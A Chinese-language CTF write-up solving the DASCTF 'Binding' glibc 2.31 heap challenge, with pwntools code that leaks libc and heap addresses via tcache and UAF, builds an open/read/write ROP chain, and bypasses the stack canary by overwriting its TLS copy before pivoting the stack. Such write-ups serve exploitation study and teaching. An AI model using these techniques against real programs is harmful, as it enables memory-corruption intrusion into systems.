pwn

Heap利用与TLS-Canary覆盖

Posted by Sagiring on 2023-11-01
Estimated Reading Time 2 Minutes
Words 543 In Total
Viewed Times

Heap利用与TLS-Canary覆盖

复现DASCTF Binding。

感谢翰青师傅的帮助。

题目

堆题 libc-2.31

功能表

add可以指定大小读入内容,限制了申请堆块的大小

Edit里有栈溢出+任意位置写

Delet里有UAF

Show里也没有限制

解题准备

题目给了配置docker文件夹,只有libc文件,利用glibc-all-in-one查找ld文件,使用patchelf替换

glibc-all-in-one

cd glibc-all-in-one
./update_list
cat list
./download xxx

patchelf

patchelf --set-interpreter ld路径 ./pwn
patchelf --replace-needed libc.so.6 libc路径 ./pwn
ldd ./pwn 

解题思路

首先先解决tcache+泄露libc

for i in range(8):
    add(i,0x120,'a')
for i in range(8):
    delete(i)

libc地址

main_arean = u64(r.recvuntil(b'\x7f').ljust(8,b'\x00')) - 96 #unsortedbin
info(f"main_arean = {hex(main_arean)}") 
libc.address = main_arean -0x1ecb80
info(f"libc.address = {hex(libc.address)}") 

heap地址 tcache的bk指针泄露

show(6,0)
r.recvuntil(b'context: ')
heap = u64(r.recvuntil(b'\n')[:-1].ljust(8,b'\x00')) - 0xcd0
info(f"heap = {hex(heap)}") #tcache bk

在新开堆上构造rop链

这里使用了pwntools的ROP类,好用爱用

shellcode_addr = heap + 0x1250 + 0x10 #new 一块内存写rop
pop_rdx = 0x142c92 + libc.address
rop = ROP([libc]) #rop类 好用爱用
rop.open(shellcode_addr+0xa8,0,0)
rop.read(3,heap+0x300,80)
rop.write(1,heap+0x300,80)
info(hex(len(rop.chain()))) #计算flag在哪
rop.raw(b'flag\x00')
info(rop.dump())
add(8,0x200,rop.chain())

通过edit栈迁移过去(栈溢出少),注意有Canary。由于我们edit中还有一个任意写8字节。可以修改TLS中的Canary值。在检查Canary时,将TLS中的Canary与栈中Canary做比较。TLS的值偏移与Libc相同。在pwndbg中使用canary打印。0x7ffe987572f9应该是随机出来的数,存放的地方。不是我们要找的TLS-Canary。

TLS-Canary再使用search -cnt value-canary查找。图中查询的值只有第一个不是在栈中,尝试修改后,通过Canary验证。

# 不知道 canary。更改在TLS中的canary值 By通过任意写
canary = ''
leave_addr = libc.address+0x0578c8
payload = b'\x10' + b'A' * (0x30 - 9)  + b'B'+b'\x00' * 7  + p64(shellcode_addr - 8) + p64(leave_addr)
pause()
edit(payload,p64(libc.address+0x1f35e8),b'B')
r.interactive()

成功获取flag